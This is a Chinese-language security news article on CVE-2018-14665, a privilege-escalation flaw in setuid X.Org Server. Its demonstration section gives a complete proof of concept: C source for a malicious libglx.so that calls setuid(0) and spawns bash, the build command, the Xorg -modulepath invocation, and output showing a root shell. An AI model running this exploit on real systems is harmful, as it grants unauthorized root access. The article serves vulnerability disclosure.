X.Org Server軟體包存在提權漏洞,影響主流Linux發行版
前言
印度安全研究員Narendra Shinde在X.Org Server軟體包中發現了一個非常關鍵的提權漏洞( ofollow" rel="nofollow,noindex" target="_blank">CVE-2018-14665 ),主流Linux發行版均受到影響,包括OpenBSD、Debian、Ubuntu、CentOS、Red Hat和Fedora。
X.Org Server軟體包提供了X視窗系統(X Window System,也常稱為X11或X)的開源實現。
X Window System是一種以點陣圖方式顯示的軟體視窗系統。最初是1984年麻省理工學院的研究,之後變成UNIX、類UNIX、以及OpenVMS等作業系統所一致適用的標準化軟體工具包及顯示架構的運作協議。X視窗系統通過軟體工具及架構協議來建立作業系統所用的圖形使用者介面,此後則逐漸擴充套件適用到各形各色的其他作業系統上。現在幾乎所有的作業系統都能支援與使用X。更重要的是,今日知名的桌面環境——GNOME和KDE也都是以X視窗系統為基礎建構成的。
根據Narendra Shinde的說法,X.Org伺服器自版本1.19.0起就存在該漏洞,距今已經兩年多了,只要X.Org伺服器以提升的許可權執行,該漏洞就可被利用。
提權和任意檔案覆蓋
Shinde發現漏洞根源在於X.Org伺服器無法正確處理和驗證至少以下兩個命令列的引數:
* -modulepath:設定和搜尋Xorg伺服器模組的目錄路徑; * -logfile:跳過位於/var/log/Xorg.n.log的預設日誌,為Xorg伺服器設定新的日誌檔案。
當X.Org伺服器提權執行時,比如使用setuid命令安裝並由非root使用者啟動時:
* -modulepath:可用於指定載入不安全模組的路徑, 允許在高階程序中跨許可權執行程式碼。 * -logfile:可用於在檔案系統中實現任意檔案覆蓋。
例項
1、收集 X.Org伺服器 載入的模組資訊
X.Org伺服器 在啟動期間載入各種模組,本演示中使用 – libglx.so:
[5549.223] (II) LoadModule: "glx" <b>[5549.223] (II) Loading /usr/lib/xorg/modules/extensions/libglx.so</b> [5549.224] (II) Module glx: vendor="X.Org Foundation
2、建立shell模組
Shell.c
#include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { setgid(0); setuid(0); system("/bin/bash"); } [developer@centos-x86 xorg-demo]$ gcc -fPIC -shared -o libglx.so shell.c -nostartfiles [developer@centos-x86 xorg-demo]$ [developer@centos-x86 xorg-demo]$ ls -la total 16 drwxrwxr-x.2 developer developer38 Oct 26 22:14 . drwx------. 26 developer developer 4096 Oct 26 22:02 .. -rwxrwxr-x.1 developer developer 5772 Oct 26 22:14 libglx.so -rw-rw-r--.1 developer developer147 Oct 26 22:03 shell.c [developer@centos-x86 xorg-demo]$ [developer@centos-x86 xorg-demo]$
3、載入惡意shell模組
[developer@centos-x86 ~]$ [developer@centos-x86 ~]$ id uid=1000(developer) gid=1000(developer) groups=1000(developer) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [developer@centos-x86 ~]$ [developer@centos-x86 ~]$ Xorg -modulepath '<b>,/home/developer/xorg-demo</b>' :2 X.Org X Server 1.19.5 Release Date: 2017-10-12 X Protocol Version 11, Revision 0 Build Operating System:3.10.0-693.17.1.el7.x86_64 Current Operating System: Linux centos-x86.localdomain 3.10.0-862.14.4.el7.centos.plus.i686 #1 SMP Fri Sep 28 05:30:57 UTC 2018 i686 Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.14.4.el7.centos.plus.i686 root=/dev/mapper/centos-root ro crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8 Build Date: 11 April 201804:44:33PM Build ID: xorg-x11-server 1.19.5-5.el7 Current version of pixman: 0.34.0 Before reporting problems, check http://wiki.x.org to make sure that you have the latest version. Markers: (--) probed, (**) from config file, (==) default setting, (++) from command line, (!!) notice, (II) informational, (WW) warning, (EE) error, (NI) not implemented, (??) unknown. (==) Log file: "/var/log/Xorg.2.log", Time: Fri Oct 26 22:15:12 2018 (==) Using config directory: "/etc/X11/xorg.conf.d" (==) Using system config directory "/usr/share/X11/xorg.conf.d" 'abrt-cli status' timed out <b>-- wait for few seconds and you will be dropped into root shell ---</b> [root@centos-x86 ~]# [root@centos-x86 ~]# [root@centos-x86 ~]# id <b> uid=0(root) gid=0(root) groups=0(root),1000(developer) context=unconfined_u:unconfined_r:xserver_t:s0-s0:c0.c1023</b> [root@centos-x86 ~]#
4、模組載入器日誌:
[6683.669] (++) ModulePath set to ",/home/developer/xorg-demo" [6683.669] (II) The server relies on udev to provide the list of input devices. If no devices become available, reconfigure udev or disable AutoAddDevices. [6683.669] (II) Loader magic: 0x6f5020 [6683.669] (II) Module ABI versions: [6683.669]X.Org ANSI C Emulation: 0.4 [6683.669]X.Org Video Driver: 23.0 [6683.669]X.Org XInput driver : 24.1 [6683.669]X.Org Server Extension : 10.0 [6683.678] (--) PCI:*(0:0:2:0) 80ee:beef:0000:0000 rev 0, Mem @ 0xe0000000/33554432, BIOS @ 0x????????/131072 [6683.678] (II) LoadModule: "glx" <b>[6683.678] (II) Loading /home/developer/xorg-demo/libglx.so</b>
*參考來源: securityaffairs ,Freddy編譯整理,轉載請註明來自FreeBuf.COM。